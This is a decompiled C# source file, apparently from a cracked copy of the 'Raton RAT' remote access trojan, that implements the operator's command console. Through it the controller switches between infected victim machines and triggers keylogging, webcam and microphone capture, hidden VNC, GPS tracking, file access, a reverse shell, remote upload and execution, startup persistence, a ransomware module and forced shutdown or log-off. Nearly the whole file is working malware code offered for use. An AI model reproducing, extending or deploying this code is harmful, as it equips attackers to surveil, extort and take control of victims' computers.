Files
raton4.0-source/Raton RAT/Raton/Forms/ratonCMD.cs
T
2026-08-27 11:23:13 -06:00

645 lines
27 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ratonCMD
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Microsoft.CSharp.RuntimeBinder;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
using Raton.Classes;
using Raton.Forms.ClientForms.Audio;
using Raton.Forms.ClientForms.Misc;
using Raton.Forms.ClientForms.Monitor;
using Raton.Properties;
using Raton.RatonForms;
using Server.Connection;
using Stuff;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Threading.Tasks;
using System.Windows.Forms;
using WpfApp1;
#nullable disable
namespace Raton.Forms;
public class ratonCMD : Form
{
public List<SillyClient> clients = new List<SillyClient>();
private SillyClient selectedClient;
private readonly string[] commands = new string[26]
{
"switch",
nameof (clients),
"remotedesktop",
"webcam",
"microphone",
"filemanager",
"hvnc",
"gps",
"keylogger",
"chat",
"startup",
"upload",
"ransomware",
"shell",
"restart",
"turnoff",
"logoff",
"disconnect",
"uninstall",
"reconnect",
"notes",
"folder",
"info",
"clear",
"help",
"exit"
};
private IContainer components;
private ConsoleTextBox consoleTextBox1;
private Timer timer1;
public ratonCMD()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.timer1.Start();
this.consoleTextBox1.UserID = (string) null;
this.consoleTextBox1.Username = (string) null;
this.consoleTextBox1.CommandEntered += new Action<string>(this.HandleCommand);
this.consoleTextBox1.AutoCompleteHandler = new Func<string, string>(this.AutoComplete);
}
private string AutoComplete(string line)
{
string[] strArray = line.TrimStart().Split(new char[1]
{
' '
}, 2, StringSplitOptions.RemoveEmptyEntries);
if (strArray.Length == 0)
return line;
string cmd = strArray[0];
string str = strArray.Length > 1 ? strArray[1] : "";
List<string> list1 = ((IEnumerable<string>) this.commands).Where<string>((Func<string, bool>) (c => c.StartsWith(cmd, StringComparison.OrdinalIgnoreCase))).ToList<string>();
if (strArray.Length == 1 && list1.Count > 0)
{
Random random = new Random();
return (list1.Count == 1 ? list1[0] : list1[random.Next(list1.Count)]) + " ";
}
if (!cmd.Equals("switch", StringComparison.OrdinalIgnoreCase))
return line;
string partial = (str ?? "").Trim();
List<SillyClient> list2 = this.clients.Where<SillyClient>((Func<SillyClient, bool>) (c => (c.uid ?? "").StartsWith(partial, StringComparison.OrdinalIgnoreCase))).ToList<SillyClient>();
if (list2.Count == 0)
return line;
Random random1 = new Random();
return "switch " + (list2.Count == 1 ? list2[0].uid : list2[random1.Next(list2.Count)].uid);
}
private async void ratonCMD_Load(object sender, EventArgs e)
{
this.clients = Program.form2.GetClients() ?? new List<SillyClient>();
if (this.clients.Count > 0)
{
this.consoleTextBox1.WriteLine($"You have {this.clients.Count.ToString()} clients connected:");
foreach (SillyClient client in this.clients)
this.consoleTextBox1.WriteLine("- " + client.uid, new Color?(Color.Lime));
}
else
this.consoleTextBox1.WriteLine("No clients connected, type clients to check again your clients.", new Color?(Color.Orange));
this.consoleTextBox1.WriteLine("Tip: Use TAB key to autocomplete IDs or Commands.", new Color?(Color.Cyan));
this.consoleTextBox1.WriteLine("Tip: Type help to check the commands.", new Color?(Color.Cyan));
this.consoleTextBox1.ShowPrompt();
}
private async void HandleCommand(string cmd)
{
ratonCMD ratonCmd = this;
if (string.IsNullOrWhiteSpace(cmd))
return;
string[] strArray1 = cmd.Split(new char[1]{ ' ' }, 2);
string lower = strArray1[0].ToLower();
string uid = strArray1.Length > 1 ? strArray1[1] : "";
switch (lower)
{
case "chat":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
string path1 = Path.Combine(Program.appData, "DONOTSHARE.json");
string str1 = "";
try
{
JObject json = JObject.Parse(File.ReadAllText(path1));
str1 = json["Username"]?.ToString();
}
catch { }
ratonCmd.consoleTextBox1.WriteLine("Opening chat...", new Color?(Color.Lime));
Pack pack1 = new Pack();
pack1.SetString("Packet", "Chat");
ratonCmd.selectedClient.Send(pack1.Pacc());
string str2 = "Chat | Client ID: ";
if ((ratonChat) Application.OpenForms[str2 + ratonCmd.selectedClient.uid] != null)
break;
ratonChat ratonChat1 = new ratonChat();
ratonChat1.Name = str2 + ratonCmd.selectedClient.uid;
ratonChat1.Text = str2 + ratonCmd.selectedClient.uid;
ratonChat1.SillyClient = ratonCmd.selectedClient;
ratonChat1.Username = str1;
ratonChat ratonChat2 = ratonChat1;
string path1_1 = Path.Combine(Program.appData);
string[] strArray2 = new string[5]
{
".jpg",
".jpeg",
".png",
".bmp",
".gif"
};
string filename = (string) null;
foreach (string str3 in strArray2)
{
string path2 = Path.Combine(path1_1, "pfp" + str3);
if (File.Exists(path2))
{
filename = path2;
break;
}
}
if (filename != null)
{
Image image = Image.FromFile(filename);
ratonChat2.imageList1.Images.Add(image);
}
else
ratonChat2.imageList1.Images.Add((Image) Resources.uservro);
ratonChat2.Show();
break;
case "clear":
ratonCmd.consoleTextBox1.Clear();
ratonCmd.consoleTextBox1.ShowPrompt();
break;
case "clients":
ratonCmd.ShowClients();
break;
case "disconnect":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel1 = ratonCmd.selectedClient.ClientModel;
Pack pack2 = new Pack();
pack2.SetString("Packet", "Disconnect");
ratonCmd.selectedClient.Send(pack2.Pacc());
ratonCmd.consoleTextBox1.WriteLine($"User {ratonCmd.selectedClient.uid} ({clientModel1.Client}) disconnected", new Color?(Color.Lime));
break;
case "exit":
ratonCmd.Hide();
await Task.Delay(500);
ratonCmd.Close();
break;
case "filemanager":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening File manager...", new Color?(Color.Lime));
Pack pack3 = new Pack();
pack3.SetString("Packet", "Manager");
pack3.SetString("Action", "Drives");
string str4 = "File Manager | Client ID: ";
if ((ratonFIleManager) Application.OpenForms[str4 + ratonCmd.selectedClient.uid] != null)
break;
ratonFIleManager ratonFileManager = new ratonFIleManager();
ratonFileManager.Name = str4 + ratonCmd.selectedClient.uid;
ratonFileManager.Text = str4 + ratonCmd.selectedClient.uid;
ratonFileManager.SillyClient = ratonCmd.selectedClient;
ratonFileManager.Show();
ratonCmd.selectedClient.Send(pack3.Pacc());
break;
case "folder":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening folder...", new Color?(Color.Lime));
string clientsFolder = Program.ClientsFolder;
if (Directory.Exists(clientsFolder))
{
Process.Start(new ProcessStartInfo()
{
FileName = clientsFolder,
UseShellExecute = true
});
break;
}
int num = (int) Messenger.MessageBox("Why you deleted my shit");
break;
case "gps":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening GPS...", new Color?(Color.Lime));
string str5 = "Geo | Client ID: ";
if ((ratonGPS) Application.OpenForms[str5 + ratonCmd.selectedClient.uid] == null)
{
ratonGPS ratonGps = new ratonGPS();
ratonGps.Name = str5 + ratonCmd.selectedClient.uid;
ratonGps.Text = str5 + ratonCmd.selectedClient.uid;
ratonGps.SillyClient = ratonCmd.selectedClient;
ratonGps.Show();
}
Pack pack4 = new Pack();
pack4.SetString("Packet", "Geo");
ratonCmd.selectedClient.Send(pack4.Pacc());
break;
case "help":
ratonCmd.consoleTextBox1.WriteLine("Command list:", new Color?(Color.Cyan));
foreach (string command in ratonCmd.commands)
{
if (!string.IsNullOrWhiteSpace(command))
ratonCmd.consoleTextBox1.WriteLine("- " + command);
}
break;
case "hvnc":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening HVNC...", new Color?(Color.Lime));
Pack pack5 = new Pack();
pack5.SetString("Packet", "HVNC");
pack5.SetInt("Action", 0);
string str6 = "HVNC | Client ID: ";
if ((ratonHVNC) Application.OpenForms[str6 + ratonCmd.selectedClient.uid] != null)
break;
ratonHVNC ratonHvnc = new ratonHVNC();
ratonHvnc.Name = str6 + ratonCmd.selectedClient.uid;
ratonHvnc.Text = str6 + ratonCmd.selectedClient.uid;
ratonHvnc.SillyClient = ratonCmd.selectedClient;
ratonHvnc.Show();
ratonCmd.selectedClient.Send(pack5.Pacc());
break;
case "info":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel2 = ratonCmd.selectedClient.ClientModel;
ratonCmd.consoleTextBox1.WriteLine("Client information:", new Color?(Color.Cyan));
ratonCmd.consoleTextBox1.WriteLine("IP: " + clientModel2.Client);
ratonCmd.consoleTextBox1.WriteLine("Group: " + clientModel2.Tag);
ratonCmd.consoleTextBox1.WriteLine("User: " + clientModel2.User);
ratonCmd.consoleTextBox1.WriteLine("UID: " + ratonCmd.selectedClient.uid);
ratonCmd.consoleTextBox1.WriteLine("OS: " + clientModel2.OS);
ratonCmd.consoleTextBox1.WriteLine("Version: " + clientModel2.Version);
ratonCmd.consoleTextBox1.WriteLine("Privileges: " + clientModel2.Running);
ratonCmd.consoleTextBox1.WriteLine("Antivirus: " + clientModel2.AV);
ratonCmd.consoleTextBox1.WriteLine("Status: " + clientModel2.Status);
ratonCmd.consoleTextBox1.WriteLine("Clock: " + clientModel2.Date);
ratonCmd.consoleTextBox1.WriteLine("Payload: " + clientModel2.Payload);
break;
case "keylogger":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening keylogger...", new Color?(Color.Lime));
string str7 = "Keylogger | Client ID: ";
if ((ratonKeylogger) Application.OpenForms[str7 + ratonCmd.selectedClient.uid] != null)
break;
ratonKeylogger ratonKeylogger = new ratonKeylogger();
ratonKeylogger.Name = str7 + ratonCmd.selectedClient.uid;
ratonKeylogger.Text = str7 + ratonCmd.selectedClient.uid;
ratonKeylogger.SillyClient = ratonCmd.selectedClient;
ratonKeylogger.Show();
Pack pack6 = new Pack();
pack6.SetString("Packet", "Keylogger");
ratonCmd.selectedClient.Send(pack6.Pacc());
break;
case "logoff":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel3 = ratonCmd.selectedClient.ClientModel;
Pack pack7 = new Pack();
pack7.SetString("Packet", "LogOff");
ratonCmd.selectedClient.Send(pack7.Pacc());
ratonCmd.consoleTextBox1.WriteLine($"User {ratonCmd.selectedClient.uid} ({clientModel3.Client}) will log off from his account", new Color?(Color.Lime));
break;
case "microphone":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening Microphone...", new Color?(Color.Lime));
string str8 = "Microphone | Client ID: ";
if ((ratonMicrophone) Application.OpenForms[str8 + ratonCmd.selectedClient.uid] != null)
break;
ratonMicrophone ratonMicrophone = new ratonMicrophone();
ratonMicrophone.Name = str8 + ratonCmd.selectedClient.uid;
ratonMicrophone.Text = str8 + ratonCmd.selectedClient.uid;
ratonMicrophone.SillyClient = ratonCmd.selectedClient;
ratonMicrophone.Show();
break;
case "notes":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening notes...", new Color?(Color.Lime));
string str9 = "Notes | Client ID: ";
if ((Notes) Application.OpenForms[str9 + ratonCmd.selectedClient.uid] != null)
break;
Notes notes = new Notes();
notes.Name = str9 + ratonCmd.selectedClient.uid;
notes.Text = str9 + ratonCmd.selectedClient.uid;
notes.SillyClient = ratonCmd.selectedClient;
notes.clientID = ratonCmd.selectedClient.uid;
notes.Show();
break;
case "ransomware":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening Ransomware...", new Color?(Color.Lime));
string str10 = "Ransomware | Client ID: ";
if ((ratonRansomware) Application.OpenForms[str10 + ratonCmd.selectedClient.uid] != null)
break;
ratonRansomware ratonRansomware = new ratonRansomware();
ratonRansomware.Name = str10 + ratonCmd.selectedClient.uid;
ratonRansomware.Text = str10 + ratonCmd.selectedClient.uid;
ratonRansomware.SillyClient = ratonCmd.selectedClient;
ratonRansomware.Show();
break;
case "reconnect":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel4 = ratonCmd.selectedClient.ClientModel;
Pack pack8 = new Pack();
pack8.SetString("Packet", "Update");
ratonCmd.selectedClient.Send(pack8.Pacc());
ratonCmd.consoleTextBox1.WriteLine($"User {ratonCmd.selectedClient.uid} ({clientModel4.Client}) will update itself", new Color?(Color.Lime));
break;
case "remotedesktop":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening Remote desktop...", new Color?(Color.Lime));
Pack pack9 = new Pack();
pack9.SetString("Packet", "RemoteDesktop");
pack9.SetString("Command", "Screens");
string str11 = "Remote desktop | Client ID: ";
if ((ratonDesktop) Application.OpenForms[str11 + ratonCmd.selectedClient.uid] != null)
break;
ratonDesktop ratonDesktop = new ratonDesktop();
ratonDesktop.Name = str11 + ratonCmd.selectedClient.uid;
ratonDesktop.Text = str11 + ratonCmd.selectedClient.uid;
ratonDesktop.SillyClient = ratonCmd.selectedClient;
ratonDesktop.Show();
ratonCmd.selectedClient.Send(pack9.Pacc());
break;
case "restart":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel5 = ratonCmd.selectedClient.ClientModel;
Pack pack10 = new Pack();
pack10.SetString("Packet", "Restart");
ratonCmd.selectedClient.Send(pack10.Pacc());
ratonCmd.consoleTextBox1.WriteLine($"User {ratonCmd.selectedClient.uid} ({clientModel5.Client}) will restart the computer", new Color?(Color.Lime));
break;
case "shell":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening reverse shell...", new Color?(Color.Lime));
Pack pack11 = new Pack();
pack11.SetString("Packet", "StartShell");
ratonCmd.selectedClient.Send(pack11.Pacc());
string str12 = "Reverse shell | Client ID: ";
if ((ratonShell) Application.OpenForms[str12 + ratonCmd.selectedClient.uid] != null)
break;
ratonShell ratonShell = new ratonShell();
ratonShell.Name = str12 + ratonCmd.selectedClient.uid;
ratonShell.Text = str12 + ratonCmd.selectedClient.uid;
ratonShell.SillyClient = ratonCmd.selectedClient;
ratonShell.Show();
break;
case "startup":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Adding startup...", new Color?(Color.Lime));
Pack pack12 = new Pack();
pack12.SetString("Packet", "Startup");
ratonCmd.selectedClient.Send(pack12.Pacc());
break;
case "switch":
ratonCmd.HandleSwitch(uid);
break;
case "turnoff":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel6 = ratonCmd.selectedClient.ClientModel;
Pack pack13 = new Pack();
pack13.SetString("Packet", "Shutdown");
ratonCmd.selectedClient.Send(pack13.Pacc());
ratonCmd.consoleTextBox1.WriteLine($"User {ratonCmd.selectedClient.uid} ({clientModel6.Client}) will turn off the computer", new Color?(Color.Lime));
break;
case "uninstall":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ClientRow clientModel7 = ratonCmd.selectedClient.ClientModel;
Pack pack14 = new Pack();
pack14.SetString("Packet", "Kill");
ratonCmd.selectedClient.Send(pack14.Pacc());
ratonCmd.consoleTextBox1.WriteLine($"User {ratonCmd.selectedClient.uid} ({clientModel7.Client}) disconnected (Removing files too)", new Color?(Color.Lime));
break;
case "upload":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening Upload...", new Color?(Color.Lime));
string str13 = "Remote execute | Client ID: ";
if ((ratonUpload) Application.OpenForms[str13 + ratonCmd.selectedClient.uid] != null)
break;
ratonUpload ratonUpload = new ratonUpload();
ratonUpload.Name = str13 + ratonCmd.selectedClient.uid;
ratonUpload.Text = str13 + ratonCmd.selectedClient.uid;
ratonUpload.SillyClient = ratonCmd.selectedClient;
ratonUpload.Show();
break;
case "webcam":
if (ratonCmd.selectedClient == null || ratonCmd.selectedClient.ClientModel == null)
{
ratonCmd.consoleTextBox1.WriteLine("No client selected.", new Color?(Color.Red));
break;
}
ratonCmd.consoleTextBox1.WriteLine("Opening Webcam...", new Color?(Color.Lime));
string str14 = "Webcam | Client ID: ";
if ((ratonWebcam) Application.OpenForms[str14 + ratonCmd.selectedClient.uid] != null)
break;
ratonWebcam ratonWebcam = new ratonWebcam();
ratonWebcam.Name = str14 + ratonCmd.selectedClient.uid;
ratonWebcam.Text = str14 + ratonCmd.selectedClient.uid;
ratonWebcam.SillyClient = ratonCmd.selectedClient;
ratonWebcam.Show();
Pack pack15 = new Pack();
pack15.SetString("Packet", "GetWebcams");
ratonCmd.selectedClient.Send(pack15.Pacc());
break;
default:
ratonCmd.consoleTextBox1.WriteLine($"The command {lower} does not exist, type help to watch the command list.", new Color?(Color.Red));
break;
}
}
private void ShowClients()
{
if (this.clients == null || this.clients.Count == 0)
{
this.consoleTextBox1.WriteLine("No clients connected.", new Color?(Color.Red));
}
else
{
this.consoleTextBox1.WriteLine("Connected clients:", new Color?(Color.Lime));
foreach (SillyClient client in this.clients)
this.consoleTextBox1.WriteLine("- " + client.uid);
}
}
private void HandleSwitch(string uid)
{
if (string.IsNullOrWhiteSpace(uid))
{
this.consoleTextBox1.WriteLine("Please specify a UID.", new Color?(Color.Red));
}
else
{
SillyClient sillyClient = this.clients.FirstOrDefault<SillyClient>((Func<SillyClient, bool>) (x => x.uid == uid));
if (sillyClient == null)
{
this.consoleTextBox1.WriteLine("Client not found.", new Color?(Color.Red));
}
else
{
this.selectedClient = sillyClient;
this.consoleTextBox1.UserID = sillyClient.uid;
this.consoleTextBox1.Username = Environment.UserName;
this.consoleTextBox1.WriteLine("Selected " + sillyClient.uid, new Color?(Color.Cyan));
}
}
}
private void ratonCMD_FormClosing(object sender, FormClosingEventArgs e)
{
Program.form2.AddLog((object) "USER has returned to the Raton UI mode", (object) Color.LightSkyBlue);
Program.form2.Show();
}
private void timer1_Tick(object sender, EventArgs e)
{
List<SillyClient> clients = Program.form2.GetClients();
if (clients == null)
return;
this.clients = clients;
if (this.selectedClient == null || this.clients.Any<SillyClient>((Func<SillyClient, bool>) (c => c.uid == this.selectedClient.uid)))
return;
this.consoleTextBox1.WriteLine($"Client {this.selectedClient.uid} disconnected.", new Color?(Color.Orange));
this.selectedClient = (SillyClient) null;
this.consoleTextBox1.UserID = (string) null;
this.consoleTextBox1.Username = (string) null;
this.consoleTextBox1.ShowPrompt();
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonCMD));
this.timer1 = new Timer(this.components);
this.consoleTextBox1 = new ConsoleTextBox();
this.SuspendLayout();
this.timer1.Interval = 500;
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.consoleTextBox1.AcceptsTab = true;
this.consoleTextBox1.AutoCompleteHandler = (Func<string, string>) null;
this.consoleTextBox1.BackColor = Color.Black;
this.consoleTextBox1.BorderStyle = BorderStyle.None;
this.consoleTextBox1.DetectUrls = false;
this.consoleTextBox1.Dock = DockStyle.Fill;
this.consoleTextBox1.Font = new Font("Consolas", 10f);
this.consoleTextBox1.ForeColor = Color.Lime;
this.consoleTextBox1.Location = new Point(0, 0);
this.consoleTextBox1.Name = "consoleTextBox1";
this.consoleTextBox1.ScrollBars = RichTextBoxScrollBars.Vertical;
this.consoleTextBox1.Size = new Size(785, 483);
this.consoleTextBox1.TabIndex = 0;
this.consoleTextBox1.Text = "";
this.consoleTextBox1.UserID = (string) null;
this.consoleTextBox1.Username = (string) null;
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(785, 483);
this.Controls.Add((Control) this.consoleTextBox1);
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.Name = nameof (ratonCMD);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = "RATON:Shell";
this.FormClosing += new FormClosingEventHandler(this.ratonCMD_FormClosing);
this.Load += new EventHandler(this.ratonCMD_Load);
this.ResumeLayout(false);
}
}